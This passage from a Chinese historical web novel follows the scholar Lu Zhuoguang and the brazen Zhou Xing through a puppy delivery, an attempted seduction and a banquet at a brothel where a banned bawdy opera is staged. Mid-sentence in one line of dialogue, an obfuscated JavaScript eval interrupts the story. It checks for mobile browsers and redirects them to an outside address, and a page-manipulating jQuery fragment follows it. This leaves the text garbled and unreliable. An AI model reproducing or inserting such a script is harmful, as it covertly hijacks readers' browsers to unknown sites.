但周幸却不同,便是平日里总看她打着哈欠,姿态懒散,总显出疲倦之态,但她的双眼只要睁着,就仿佛有一股力量能支撑她永不会力竭而倒。 雪又绵密起来,郸玉的冬天只会越来越冷,陶缨坐在烛灯旁缝鹅绒棉衫。她白日得闲、夜晚挑灯都在赶制,想尽量在年前送给周幸。 鹅毛大雪下了两日,将停未停时街上已开始有百姓扫雪。吕鸿走马上任,已经让官府张贴了告示,为表现和善亲民的形象,还特地带着冯宗和衙役们一同加入扫雪队伍。 赵恪嘴上说协同齐煊查案,实则就跑了半日便借口说自己着凉,其后便拥着美妾在屋中享乐,闭门不出。 李言归则是赌坊和崔慧的住处来回跑,人手不够,他一个人盯着两个地方,分身乏术。前夜与陆酌光在雪天分别时,他问陆酌光既然察觉周幸等人有蹊跷,为何不向赵恪表明。 陆酌光却意味深长道:“这些不过是我的猜测而已,若是你觉得对,大可去告诉赵恪,对错则与我无关。” 李言归辗转反侧半夜,总觉得这话有陷阱,便忍到了现在都没说,然而这两日他两头跑,觉得是时候用这事适当威胁一下陆酌光了,总不能大家一起来办事,他忙得脚不沾地,姓陆的却在房中偷闲。 找上门的时候,陆酌光正在练字,房中点了熏香,烧着热乎乎的火炉,他身着白衣立于桌前执笔,一派优哉游哉的模样。 李言归直言:“公子说赌坊和崔慧那里都要盯防,理应你我各看一处。” 陆酌光却道:“我明后几日都没空。” 李言归面无表情:“不是忙什么临帖练字之类的大事吧?” 陆酌光:“教书育才,做私塾先生。” 李言归疑惑:“你进城不过才两日,要去给谁教书?” 陆酌光用非常无奈的语气说:“邻舍听说我是秀才,就都央求我教她们孩子念书,太热情,我不好推辞。” 那模样就好像真的是尊老爱幼,乐善好施的大善人一样。李言归道:“也不必天天教,今日教了,明天便可不去。” 陆酌光显然将自己的日子规划得很好:“明天要去书肆题字,那店家称我的字有文学泰斗、登科状元之相,要装裱起来挂在店中欣赏。” 李言归视线往下一落,那些不像是人能写出来的字,他竟写得郑重其事,但凡有第三人在场,李言归也会想尽办法让人说句公道话,只可惜现在只有他们二人,不适合争论,斟酌半响,只憋出一句:“当心有诈。” 陆酌光微笑反问:“怎么?” 李言归不答,在屋中来回走了几步,不愿放弃:“那后日总有时间了吧?” 正好陆酌光这一张纸已经写完,他搁下笔,抬脸时眉眼满是正经,说:“后日可能要给狗接生。” “……什么?”李言归怀疑自己耳朵生病。 陆酌光体谅他的耳背和理解能力低下,耐心解释:“隔壁养的狗,肚子已经大了,再不生或将难产,我得帮帮它。” 李言归实在忍不住:“您是什么时候坐化成在世菩萨的,怎么没通知我一声?赌坊与崔慧两处我一人无法兼顾,这是公子下的令,我等来此本就是协助他,你若怠工,如何跟大人交代?” 说着他便作势要摸出袖中的册子,希望陆酌光能看懂他的动作。 陆酌光却并不理睬,低着头专心换新纸,懒洋洋道:“赵恪下的令总是跟他那张脸一样,丑陋又毫无用处,你若实在太闲,去赌坊盯着就是,崔慧那处不必去。” 李言归面容严肃,希望他能明白:“我们俩之中确实有一人太闲,但绝不是我。” 然而陆酌光是阳奉阴违的惯犯,一旦他觉得没必要做的事,就绝不会行动,李言归知道协商失败,愤然离去,站在门口掏出“言归正传”,运笔如飞,大写一通。 李言归本以为这些事都是陆酌光想要偷懒的托词,但其后的两日他盯梢赌坊时抽空跑来看,以便随时抓住他扯谎的把柄,却发现陆酌光竟然真的忙碌起来。 他先是领着一帮半大的孩子读《千字文》——那《千字文》是他自己抄录的,小孩们于是也对着他的“大作”学习认字,显然他只教人念书,并不考虑误人子弟这回事。 其后他又去了书肆,像模像样地题了龙飞凤舞的八个大字:读万卷书,行万里路。 书肆老板是个中年女人,姓楚,脸生得圆,笑起来时嘴边有两个小窝,好似每一条皱纹都带着亲和。她对陆酌光的字赞不绝口,称其笔画放荡不羁,举世无双,当下就喊着要裱起来当镇店之宝。 在与李言归的交谈中,陆酌光称赞她是个慧眼识珠的好人。 11.愿者上钩 周幸的家是一座带着小院的房子,左右没有邻舍只有一片竹林,家里唯一会喘气的只有她自己,连只活老鼠都找不到。 她清早起来穿好衣裳,用手指梳拢长发,而后随意拿了根木簪绾起,飞快地用凉水洗漱完,脸颊上还带着晶莹的水珠就这么迎着寒风出了门。 天光熹微,她像往常一样,先跑去秦家饼铺抓了个新鲜出炉的肉饼解决早饭。 夹在饼里的肉是先用料炖煮许久,软烂得一抿就化,外边的饼又烤得焦焦脆脆,热乎乎的香气飘了几里地,这是秦寡妇的拿手招牌。 秦寡妇本名秦婵,今年三十有六,膝下只有一女,便是粉黛未施也貌美如花,是这条街上远近闻名的“肉饼西施”。 早几年时,她还没有铺子,只挑着扁担站在路边卖肉饼,因生得貌美又是寡妇,招致不少麻烦,但是有一天,周幸突然出现了。 她什么都没做,只是经常于清晨时站在肉饼摊子边,一边吃着肉饼一边与秦寡妇闲聊,此后找秦寡妇麻烦的人就莫名消失不见。 后来秦婵用积攒的银子盘了铺面,在这条街长久地做起了生意,远近住户都知晓周幸是她的老主顾,于是也无人敢进店闹事,几年来生意一直火热。 正赶上来客多,秦婵一人剁馅、揉饼、收钱,虽行动有条理但也忙得团团转,额角都是细汗,周幸站门口啃肉饼,待她忙过了这一阵,才问:“盼宁怎么没来帮忙?” 秦婵收拾菜板,含糊着小声说:“她来了月事肚子不舒服,我就让她在家中休息,等闭了店去找惊秋抓些药给她。” 孙盼宁是秦婵的女儿,今年刚满十六,每次月事都疼得满床打滚,周幸也给她抓过几回药,知道她吃什么,就道:“你别忙,我今日得闲,跑一趟就是了,正好昨日也给盼宁买了个簪子,一并送过去。” 秦婵忙得走不开便也没有推脱,给她塞了十文药钱,还包了个新肉饼给她。 周幸把肉饼揣在怀里,先去城郊的药堂走了一趟,药童见了她便欢天喜地跑出来迎接,说莫惊秋不在,背着小药箱出诊了。 莫惊秋虽对外宣称是隗谷雨捡来的孙女,实则二人并无血脉关系。她是隗谷雨唯一的徒弟,承袭他一身本领,平日里就在药堂坐诊,专为城中妇孺看病,外出就诊是十分寻常之事。 周幸没有追问,只熟门熟路地在药柜前抓了孙盼宁吃的药,将铜板搁在桌上,再捏了捏两个小药童扎好的发髻,才兴颠颠地离开。 她直奔秦婵家,刚入巷就看见陆酌光迎面走来。此人一大早不知忙活什么,双手竟全是血,见到周幸后他脚步一顿,俊朗的眉眼也染上些许讶然。 周幸吓了一跳,微微睁大了眼睛,赶忙走近关切:“陆秀才,你这是受伤了吗?怎么手上那么多血?” 陆酌光低头看一眼双手,道:“我在给狗接生,它肚子里的崽子太大生不出来,流了不少血,我不忍看其受难。不过它见了我就躲,我想是因为我手上的气味它不喜欢,所以打算去洗洗。” 这人一本正经地说出了让人理解不了的语言,周幸微眯双眸,笑意吟吟:“看不出陆秀才还是个热心肠。” 陆酌光并无闲聊的意向,简单一笑应对,随后与她错身前去井口打水。 周幸一步两回头,提着药包走进秦婵家,进门就看见莫惊秋站在院中朝外面张望。见到周幸,她笑着道:“我就说听见你的声音了,你方才跟谁说话呢?” 周幸不答反问:“你怎么在这儿?” “我记着盼宁来月事的日子,又正好在附近看诊,就顺道来看看她。”莫惊秋手里端着药碗,应是来了有一会儿。 “那你去照看盼宁,我去隔壁看看狗。”周幸将药包和簪子放下,又叮嘱一句,“看完就回去,别在附近乱走动。” 周幸知道陆酌光说的哪只狗,前几日来的时候她还见着了,是一只虎头虎脑的棕毛狗,被喂养得十分圆润,加之揣了崽,整天拖着个大肚子在巷中闲逛,经常用圆溜溜的眼睛盯着人讨要吃的,没想到才几日不见,它还给自己找了个接生郎。 正如陆酌光所言,那只狗肚子太大了,狗崽难以顺利生出,此刻它痛得低声呜呜,蜷缩在角落里,地上拖出了零星血迹。 陆酌光已洗净了双手,蹲在它边上,正专注地低着头注视,似乎在思考如何下手。 周幸走过去,半蹲下来:“陆秀才怎么还会接生?” 陆酌光却道:“我不会,但想来应当不难。” 周幸:“……”这是耍什么宝呢? 陆酌光看了半晌,像是找到了思路,模样认真地伸出了手,探向狗腿。他的动作非常外行且生疏,正如他坦诚的那样,完全不会。 生产中的狗情绪暴躁,很容易应激,在生人靠近时就已经开始警戒,感觉到有人触碰它之后,当下猛地转头就要赏陆酌光一口。 却见陆酌光反应迟钝,好似完全不明情况,意识不到自己那修长白皙的手要多几个血窟窿,幸而周幸眼疾手快地拉开,才让他幸免于难。 周幸看了看陆酌光那茫然的神色,终是叹了口气:“我来吧,陆秀才从旁助我就好。” 她将双袖挽起,伸出一只手放在狗的鼻子前。她与这狗算得上熟识,每回来都喂它东西吃,闻到周幸手上的气味后,它讨好地摇起尾巴,周幸摸着它的头安抚情绪,然后把怀里揣着当午饭的肉饼掏出来给它吃。 随后他们配合起来,一个接生一个帮忙剪脐带,蹲在墙角忙活老半天成功接生了五只小狗。安置好一窝狗崽后,二人前往井口打水。 陆酌光站在井边,慢慢倒着木桶里的水给周幸洗手。他虽未言,但俊面舒朗,眼帘低垂时神情含笑,好似心情愉悦。 周幸的视线在他眉眼流连,忽而笑着开口:“陆秀才可有婚配?喜欢什么样的姑娘?” 陆酌光稍一抬眼,对上她的眸子,见她目光炯炯,恨不得将“贪色”二字写在脸上,便道:“尚未。陆某庸俗,中意腹有诗书的女子。” “那不是巧了?我也尚无婚配,偏好学识渊博的秀才郎。”周幸徐徐起身,那一头被簪子随意绾起的长发零散几缕下来,拂着苍白的颈子轻飘,好似翠柳扶风轻盈柔韧,“陆秀才,你我正值男婚女嫁的佳龄,又都无婚配,何不到寒舍小酌一杯,共赏冬雪?” 陆酌光心知她这种混迹于各种场所,寡廉鲜耻之人十分难对付,更对谈情说爱没有半点兴趣,莫作纠缠早点脱身才是上策,于是果断拒绝:“周姑娘,陆某一心苦读,暂无风月之心,还请另觅佳人。” 他说完便转身要走,却又听身后人说:“昨日我去书肆帮忙时听老板说新挂上去的字是陆秀才所题,就买了几本书回家研读,但内容晦涩难懂,不知陆秀才可否赏脸指教?” “不过话说又回来……”陆酌光又停下离开的脚步。他生来二十余载,还是头一次被人赏识请去书肆题字,更是十分好奇这位上次还说家中只有擦屁股用的草纸的人,会因为他的字买什么书回家。 他莞尔一笑,气质颇为斯文俊雅:“若是文学方面,我倒可以与周姑娘探讨一二。” 周幸欣然一乐,前头带路,将陆酌光领着回自己家,然而她家住得太偏,这么一走就花了将近一个时辰。陆酌光倒是极其有耐心,不声不响地跟着,没有表现出半点不悦。 到了家门前,陆酌光不愿进了,站在门口推辞说不合礼节,只在外面等候。 周幸好不容易将他带来此处,岂能容他用狗屁礼节当作借口,便说这方圆无住户,不必注重那些虚无的规矩,于是推推搡搡,连拉带劝地将他带进了屋中。 方一进门,陆酌光就明白了周幸将他带来的用意。 只见墙上挂着一卷四尺长的卷轴,洁净的白纸上则用墨笔潇洒地写了一行诗。 那一笔一画遒劲有力,铁画银钩,好似蛟龙游曳,一气呵成,实在恣意放纵。书曰:“牡丹花下死,做鬼也风流。” 陆酌光站在门处,目光顺着笔画细细描摹,许久移不开眼,隐隐有痴相。 周幸将昨日刚买的书抱出来,足有六七本,放在桌上的声音显得颇有分量,惊动了陆酌光。他这才微微一动,偏头时漆黑如墨的眼眸流转,视线轻飘飘地落在周幸的身上,问:“这字是谁写的?” 周幸含笑道:“我。” 屋中只开了一扇窗,所以即便是大白天也显得昏暗,几缕冬日的阳光顺着窗子探进来,照在周幸那一身竹青的衣衫上。 陆酌光视线往下落,看见她的手——手背白得几乎发光,透着淡色的经脉,骨节细长指头圆润,若是执起墨笔的确赏心悦目。 陆酌光道:“我记得你上回说你不爱读书。” 周幸耸了耸肩:“我只说不爱读书,又不是说没读过书,这字是从前练的。” 他没接话,仍怀质疑。周幸的腔调有些懒散,回答得也不大正经,她的呼吸声微乎其微,难以捕捉,一时叫人分不清楚所言是真是假。 周幸招呼他:“快进来坐,先看看我买的这几本书。” 陆酌光依她所言坐在房中唯一的一把木椅上。方才进门时被墙上的字所吸引,现在目光闲下来才发现这房子简陋得跟其主人一样潦草,用一贫如洗来形容都算抬举。 屋中摆着一张用石头垫脚的床、一张破烂桌子、一把木椅,墙边竖着木架置放木盆、皂角之类的洗漱用具,衣裳则堆在床边的箱子里,床上还扔了几件衣衫,皱得像一坨适合铺在狗窝上的破布。 窗台下有一方矮凳,上方摆了个看不出具体形状的泥菩萨。这是先前周幸提到过的,原本是土地爷,后来因下雨淋成烂泥巴,被她动手捏成菩萨的玩意儿。供品寒酸得可怜,只有半块馒头,上面还有明显的牙印,像是饭后留下的一口。 桌上更是连根蜡烛都没有,显然房中不存在任何夜间活动,天一黑,人就已经在床板上躺好了。 统共四面墙,两面墙上都有着不同大小的龟裂,有一条甚至看起来颇深。 陆酌光善意提醒:“这房子似乎不大牢固,周姑娘住在此处,恐有隐患。” “没事儿。”周幸满不在乎道:“前几年小地动给震出来的,除了漏点雨没什么大问题,能住。” 陆酌光不好对别人的家做评价,便接过书翻开看,没看两页就察觉到不对劲——这些书从封皮上看去倒是正经,实则翻开第一页便是一首露骨的淫诗。 此类秽书律法明禁,但相比于前人留下的文学瑰宝,这种用以诲淫的书在市井则更为畅销,会识字的几乎人手一本,不会识字的就也有图画种类,因此这行业在民间久盛不衰,还在各种严禁下制作出了各种各样的封皮,不仔细看难以分辨。 周幸不知是成心还是无意,买回来的几本全是淫/书,陆酌光当即坐不住,起身便要走:“陆某没看过这种书,难以指教。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034202|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 周幸却在此时突然欺身靠近,陆酌光为躲避她的靠近而后退,不得已又被压回了椅子里。 她半弯下腰,已然贴到跟前,远远越过正常交际的距离。她的手指好似浸过雪,柔软而冰凉,顺着他的脖子轻浮地往下滑,此类浪荡举动做起来好似轻车熟路,眼眸里带着轻笑:“陆秀才,那书肆的老板说,这些书都是你力荐,我还以为你都读过呢?” 陆酌光捉住她的手,窄小的椅子限制他的动作,之能尽力往后靠,脊背紧贴着木藤编织的靠背,耳根迅速升红,局促道:“周姑娘,此举怕是不妥。” 周幸没被一把搡开,愈加得寸便进尺,半个身子都要压在他身上,另一只手按在他胸膛上借力支撑,呼出的气好歹有些活人的温热,轻轻扫在陆酌光的脸上。 她敛低眉眼,轻声细语间满含桃色:“我还从来没见过你这般俊秀儒雅之人,之前在茶楼里便令我一见倾心,分别后更是夜不能寐,辗转反侧脑中想的全是你。酌光,你害我得了相思病啊,治不好可怎么办?” 陆酌光不说话,那双黑不见底的双眸盯着周幸,与那褐色的瞳孔暗中交织,仿若有涟漪轻动。周幸压下头,更凑近了,唇将落未落,似要亲吻,陆酌光却将头一偏,让这一吻落了空,点在他的侧脸。 陆酌光听到了耳边的呼吸声。太炽热、黏腻,顺着他的侧脸往下探入颈子里,也唯有这么近的时候才能听得分明,他视线落在周幸身后,忽而问:“墙上那幅字,是你写的?” 周幸并未追着纠缠,泛着凉意的唇只蜻蜓点水便撤离,施施然起身退开,目光在他红着的耳朵尖掠过,叹着气幽怨道:“我都说了是我写的,便是不信也别这时候问,真是不解风情。” 陆酌光没有接周幸的话,先是抬手蹭了蹭侧脸,又低头整理被揉乱的衣衫,晚霞渲染的眉眼之中隐有怒色,他匆匆忙忙起身便要揖礼要告辞:“我一介穷困之人,独善其身尚不能,无心成家,莫在我身上浪费光阴,此番举动太过越距,还望周姑娘自重。” 他大步离去,行至门口时,周幸又唤他表字,问道:“你若喜欢我这字,改日我当面写给你如何?” 陆酌光停步回头,看了看色欲薰心且非常难缠的周幸,又看了看墙上那恣意飒爽的字。 这房间里的任何东西都简陋陈旧,唯有挂在墙上的那副字漂亮崭新、黑白分明,简直像是为什么人量身定做,明晃晃挂在那里,堪比一柄笔直的鱼钩。 理应严词拒绝,但陆酌光却并未说话,沉默离去。 周幸没有出门相送,待陆酌光走后,她身上那股子轻佻放荡瞬间消散,嘴角落下来也隐去了最后一丝笑意,日光照不到的暗处将她的眉眼拢上一层晦暗,盯着手心若有所思。 她分明从陆酌光的脸上、耳朵上都看见了羞赧的飞红,但按在他心口的手掌却感知到他的心跳没有分毫变化,平稳得近乎冷漠,即表明陆酌光此人皮相上的“演”已经出神入化,可以佯装出任何他想表现的模样。 没有正常人能做到这种程度,若非他天赋异禀,就表明他经历过不下千万次专门针对此类的严苛训练。 陆酌光非但不是文弱秀才那么简单,他甚至可能已经超出了周幸一开始所设提的范围,若要动赵恪,他恐怕会是最棘手的障碍。 然而现在还不宜妄动,须得彻底摸清楚陆酌光的底细,才能采取确切的行动。 周幸将桌上的几本书扔进炉子里,摸出火折子点了一页纸扔下,火苗很快蹿起来,散发温暖。她将木椅搬到近处,随意往上一躺,闭上眼睛休憩,浓重的倦意不经意地显露出来。 而另一头,陆酌光离开后并未回家,路上慢慢悠悠,光是走回城中就花了一个时辰,又就近吃了口热饭,随后直奔书肆,等再出来时臂弯里就夹着一幅装裱好的字。 冬日天黑得早,这一日就这么晃晃悠悠过去,他左手提着灯,右臂弯里抱着东西,徐徐归家。走到进处,黑暗里走出一人,正是等候已久的李言归。 二人一照面,都没出声寒暄。 李言归打眼一看,发现他臂弯里的东西是幅字,不需细看,光凭灯笼散发的微光在上方照出的冰山一角,李言归就认出这字出自陆酌光之手。 李言归问:“这是?” 陆酌光答:“我给书肆题的字。” 李言归疑惑:“为何拿回来了?” “老板是个狡猾的老东西,放在书肆污了我的字。”陆酌光面色如常,约莫也觉得这字自己留着无用,便顺手将字递出,“赠你了。” 李言归在抬手接下的一瞬间就已经想好要扔到什么地方了。他记性超群,贴心提醒:“你昨日还说她是个慧眼识珠的好人。” 陆酌光不言。他回想起今日去书肆时看见自己的字挂在淫/书的上方,旁边甚至还特地贴了一张纸标注:“赵首辅倚重门客之陆秀才亲笔所题,力荐以下数书,多买多惠。” 这无异于血口喷人,陆酌光立即提出将字收回,那个姓楚的女人却不愿意,最后穷困秀才不得不出了十文钱将自己的字买了回来。 他对这个价格不是很满意,觉得自己的字没有这么廉价,但一时身上实在没有多的银钱,只得作罢。 那家书肆他迟早还会再去一趟。 陆酌光瞥了这好事的李言归一眼:“有事?” “公子明夜在风月楼设宴,叫我来知会你一声。” 12. 粉戏夜宴 接到赵恪的宴席邀约时,齐煊才刚从刺骨的寒风中脱身坐下休息。 他这几日鲜少归屋,将涉及此案的人一一盘问,俱已查证青楼与赌坊得到的消息确切为真,且方圆数里的郎中药堂他也寻了个遍,发现他们只对“神仙散”略有耳闻,却根本不知那是一种孢粉,售卖就更无从说起了,千路山有此菌类一事的确鲜为人知。 他甚至还亲自去城郊找隗谷雨,想听他亲口报验尸结果,但此人神出鬼没,无踪可觅,让他白跑了两趟,还收到不少医堂里看病的妇女们偷偷甩的白眼。 齐煊东奔西跑未有一刻停歇,从早到晚地灌风雪,隐隐咳嗽有患风寒之兆,幸而有崔慧从旁相助,才不至于方进城几日就被累倒。 而在房中享福几日的赵恪尚嫌不够,还邀请几人前去风月楼玩乐。齐煊无心于此,正要回绝,却被崔慧上前阻拦。 他先是屏退了侍卫,旋即从下人手中接过热茶,送到齐煊面前,道:“王爷,此案若要破,邹业是关键。他的房中虽没搜出什么东西,但他用来赌钱的金子必然来源不干净,只要抓到了他,案子定会有大进展。” 齐煊自然清楚这无端消失的邹业是破案的关键,尤其他用以赌博的金子更是大有文章,可他先前派出去搜房的人空手而归,其人也不见踪影,让衙役去追查他的籍贯,这几日也都没传回半点消息。 思及此齐煊便一筹莫展:“此人在郸玉无妻无子,除却赌坊的狐朋狗友外与旁人来往甚少,眼下如人间蒸发,何处寻之?” “王爷从简出行,下官人微言轻,手底下皆无能办利事的人,在这郸玉所能调度也唯有衙役而已,但赵大人不同……”崔慧压低声音,“他带了那么多人来郸玉,想必不是为了寻欢作乐。” 齐煊并非蠢人,有些事一点就通,不需要崔慧将话说得太明白,他凝目望向崔慧:“你是怀疑赵恪查到了什么?” “下官不敢乱揣测。”崔慧岂是怀疑,简直笃定赵恪是先岭王一步在邹业家中拿走了重要东西,才导致赌坊东家递出的线索中断,致使查案难以进行下一步,让岭王几日的探查皆无进展。 他有心派人潜入赵恪的住所搜寻,只是这纨绔连着几日都在房中闭门不出,难以下手。今夜他在风月楼设宴,住所必定守备松泛,这正是机会。 但崔慧并不明说,只劝道:“王爷这几日起早贪黑地奔波,应适当休息,若伤了贵体才得不偿失。” 齐煊沉吟不语,下意识摸上胸口。他衣襟里装着的木雕小马很轻盈,几乎没什么重量,因此随身携带。 来到郸玉后,他每每思索时,总是忍不住触碰它。 衡量许久,最终慢慢点头。崔慧看穿他的犹疑不定,怕他改变主意,连忙转头吩咐下人去外面回话,应了赵恪的邀约。 齐煊疲累至极,将一杯热茶喝尽,随后躺在窄榻上睡了一觉,醒来时天幕已有夜色。正逢赵恪的下人来请,便洗了一把脸,稍掩倦意,披上厚厚的大氅出门,才见已有数人在门口等候,见齐煊走近后一同上前拜礼。 不过两三日不见,赵恪的气色好了不止一星半点,夜灯之下他面色红润,神采奕奕,偷懒偷得颇有成效。 陆酌光立于他身侧,叫人不由自主多看了一眼。这穷酸秀才破天荒地掏了掏自己的行李,终于舍得换下了他那件陈旧的白衣,穿了身漆黑的束袖长衫,衣襟绣着几朵白梅点缀,浓墨般的眉眼与夜色相衬,俊美端方。 再往后便是吕鸿、冯宗二人,由李言归领头的一干侍卫则分站两侧,粗略一数约莫有近二十人,阵仗不小。 赵恪迎上齐煊,笑问:“王爷可喜欢听戏?” 齐煊道:“不常听。” 待进了马车坐下,赵恪才道:“这世间百娱,戏居首位,今日便围炉煮雪,邀王爷共赏好戏。” 齐煊隐约觉得他话里有话,但未表现分毫,佯装疑惑问:“城中禁戏多年,何来的戏台?” 赵恪不答,勾着唇角笑,转头给吕鸿递了个眼神。此人早就准备好了随时谄媚,接到眼神后立即嘿嘿一笑,肥腴的脸颊挤作一团:“王爷有所不知,虽然当初许大人砸了戏台赶走了城中所有戏班子,但风月楼中藏着的三尺楼台因剧目与寻常不同,且只在夜间开演,所以得以幸免。这戏台已有几年未开,赵大人怕王爷劳神伤身,这才特地命人开了戏台,给王爷唱几曲儿。” “与寻常不同?”齐煊问道,“那台上唱的是什么戏?” 吕鸿一笑,答道:“粉戏。” 所谓粉戏,民间又称荤演,剧目内容以情/色居多,一度在达官贵人的私房之中风靡,因上不得台面被律法明禁。 齐煊听得头痛不已,这赵恪满脑子淫.秽,连这种穷乡僻壤都能变着法地找乐子,倘若这能耐用到正事上,岂能被京中人嘲笑纨绔? 因齐煊身份不便大张旗鼓贪欢作乐,马车在风月楼门口停下时天已经黑透,街上漆黑一片不见行人,唯有风月楼门口的大红灯笼还亮着。 许是一早就接到赵恪等人要来的消息,老鸨陶缨带着人在门口等候多时,一见到马车靠近便领着一群姑娘上前。 这群花红柳绿的姑娘当中,还站着一个周幸。 这人将自己裹在厚厚的棉衣里,一头青丝随意用竹簪绾着,额前和耳边的碎发被风吹得凌乱,暗色之中那张冻得煞白的脸尤为明显,褐色的眼睛如映着门前的红灯笼,隐有微光。 她仍旧是那副将手揣在双袖中,缩着脖子的作派,用殷勤的小步子跑上前来,正排在外围等着齐煊路过时奉承两句,却被冯宗拉着肘子后退了几步。 他奇怪道:“我说周幸,怎么什么热闹你都要凑一凑?还不快回去。” 周幸撇了撇嘴:“是赵大人派人请我过来的,能跟王爷这等天潢贵胄一同看戏,都够我回村吹半辈子的了,我可不走。” 冯宗瞪了瞪眼睛:“你知道看的是什么戏吗?你一个姑娘家……” “知道呀,还是我张罗的呢!赵大人说要找乐子,论乐子哪里能比得上风月楼啊。”周幸打断他的话,看见陆酌光掀帘下了马车,便迫不及待要走,只撂下一句,“冯大人,你就安心看吧,一定不让你白来。” 她不想在此时听没完没了的啰嗦,便飞快扔下冯宗,几个步子从人群中错身而过,钻到陆酌光的面前。 昨日虽然他愤然离去,算得上不欢而散,但今日见了也没有给周幸冷脸,只是神色淡淡,颔首揖礼:“周姑娘。” “酌光换了身衣裳,整个人看起来都不一样了。”周幸将陆酌光上下来回打量,绕着他走了一圈,探出灵活的爪子飞快捏了捏他的臂膀,殷殷切切道,“大冬天穿那么少还不觉得冷,还是年轻男人火气旺呀,真叫人羡慕。” 这人像个色中饿鬼。陆酌光无言作答,后退了一步闪躲,而后径直与人群一起,进入风月楼。 周幸就笑眯眯地追了过去,不依不饶地站在他左右,与他说话,便是没得到什么回应,也丝毫不觉败兴。 此番场景落在旁人眼中,自是郎才女貌,相当登对,且正中赵恪下怀,当下做起媒人,落座时将陆酌光与周幸的座位指到了一处。 说是戏台,其实也不过是个稍微垫高了些的台子,建在一楼大堂的正中央,上方挂着艳丽的绸带,两边则是通往后院的窄门,形成一个简略的前后台格局。 早年时风月楼里培养不少青衣花旦,都是年轻的姑娘上去唱,后来城中禁戏,再加上换了老鸨,这台子就闲置至今,昨日才被草草打扫出来,比寻常戏台差得远。 众人在台下落座,齐煊、赵恪、崔慧三人坐在首位,其后才是周幸、陆酌光等人,座位摆出两排,最后方站着侍卫及衙役,楼中除了他们之外没有旁的闲客。小厮沏上热茶,送上瓜子果干,戏未开幕,只有缠绵的琴音回荡。 周幸喜上眉梢,相比于陆酌光那端正雅观的坐姿,她就显得颇为放荡,整个身体歪得像蜿蜒的藤蔓,手肘更是越过自己的椅子直接支在陆酌光的椅靠上,一个劲儿地凑近了他:“我昨日将那几本书看了,字字句句都写得颇有深意,让人受益匪浅,真不愧是酌光力荐的书。” 陆酌光偏了偏头,目不斜视,只看着面前的台子:“陆某从未举荐过那种书,秽物伤身,周姑娘也当少看才是。” 周幸根本不在意他说了什么,兀自嗑了会儿瓜子,又开始黏着人没话找话:“京城的戏台子应当不少吧?” 陆酌光举起杯子,假装因忙着喝水而没空回答。周幸还要再说,却被冯宗抓着胳膊拉了回来,他压低声音道:“你何不与陆秀才共坐一个椅子?都快压到他身上去了,耍什么流氓呢?” “冯大人,你一个妻儿双全的人,怎么能体会到我们这种孤寡光棍的烦恼?”周幸扯了扯自己的袖子,发现冯宗攥得很紧,不满道,“快快松手,莫误我大好姻缘。” 冯宗是生怕周幸惹了陆秀才不满,前脚出了青楼,后脚被押进大牢,她那模样活脱脱一个地痞无赖调戏良家小生,许奉的案子还没解决,自然还有用到周幸的时候,可不能让她在男人身上栽了跟头。 冯宗便想挽救一下这色欲薰心的人:“你可要想清楚了,上一个因贪色耍横的人,已经吃上了虎头铡。” 周幸哪能这么轻易让人吓住,道:“闹出人命的事,岂能用‘贪色耍横’轻易带过?我向来遵纪守法,老实做人,绝不会强迫旁人。” 守不守法另说,这人的品行绝对担不上“老实”二字,冯宗见她丝毫不惧,另辟蹊径:“男人不喜欢太主动的女子,你若是瞧上了这俊后生,更该懂得进退有度,一味逼近,反倒将人越推越远。” 周幸见他还真像模像样地教起自己追男人,忍着眼底的笑意,问道:“当真?” “自然!我当年可是凭借这一招娶到夫人的。”说起自己的妻子,冯宗脸上情不自禁流露出些许骄傲,忘记手里还拽着周幸,下意识抬手得意地摸了一把胡子,“你不知道,我媳妇儿当年可是郸玉有名的才女,多少媒人踏破门槛……” 周幸没兴趣听冯宗当初如何从一群雄性之中竞争成功的,手臂上桎梏一松,她就立即一扭脸又歪向陆酌光,将不相干的问题问了个遍。 陆酌光像是很渴,频频举杯喝水,回答甚少。 “酌光看过粉戏吗?” 陆酌光一杯热茶见了底,为顾全礼节,只得开口回应:“此类禁戏与伦理纲常相悖,伤风败俗,我并无兴趣。” “你这古板迂腐的秀才,岂不知人生乐趣尽在此处。”周幸笑话他,听见锣鼓轻响,不便再低声闲聊,她就以一副长者的口气道,“今日你且好好看看,长长见识吧。” 楼中的灯挑走了几盏,蜡烛也熄灭几根,光线渐渐昏暗下来,台上便有旦角踩着板眼登场。 她身上的行头并不齐全,妆容也浅淡,蝶钗粉衣妆点着年轻貌美的脸蛋,双袖一收露出光洁白腻的小臂,被烛光照得发亮。 周幸总算消停,老老实实地坐了回去,认真地看起戏来。 台上管弦乐器伴着锣声奏响,传到陆酌光的耳朵里俱是吵闹,他神色寡淡地看着台面,听见身旁传来略微粗重的呼吸声,一转头,就见吕鸿双眼发直,痴痴地盯着台上的姑娘。 这戏方开场没多久,他便猛地起身,双手遮遮掩掩,见其他人投来视线,他匆匆道:“我去趟茅房。” 坐于前排的崔慧转了下头,看着吕鸿着急忙慌跑去后院的背影,倏尔抬手召来边上候着的随从,问道:“什么时辰了?” 随从答:“回大人,戌时过半。” 赵恪不知什么时候探凑了过来,问道:“怎么?崔大人有事?” 崔慧惊得眼皮子一跳,忙露出个笑容掩饰:“下官这两日有些着凉,需记着时辰喝药。” 赵恪浑然不在意,抚了抚衣袖,说道:“无事便好,难得今日王爷赏脸,咱们可得玩个尽兴再回去。” “那是自然。”崔慧笑应,继而对随从道,“去后厨借个地儿,将药煮了端来给我。” 随从颔首退下,这微小的动静惹了齐煊的注意,他稍稍偏头,隐晦地朝随从背影投去一抹短暂视线,很快收回。 随从轻步前往后院,却并未向人询问后厨在何处,只钻到了无人的角落,左右视察片刻,紧接着三两下就爬上了墙头,翻了出去。 他落地轻盈,未惊动任何人,自后院出去后解开一早拴在树边的马,悄无声息地离开了风月楼。 这随从是原是左都御史所培养的暗卫,因崔慧受命前来郸玉,他被分派来保护崔慧。 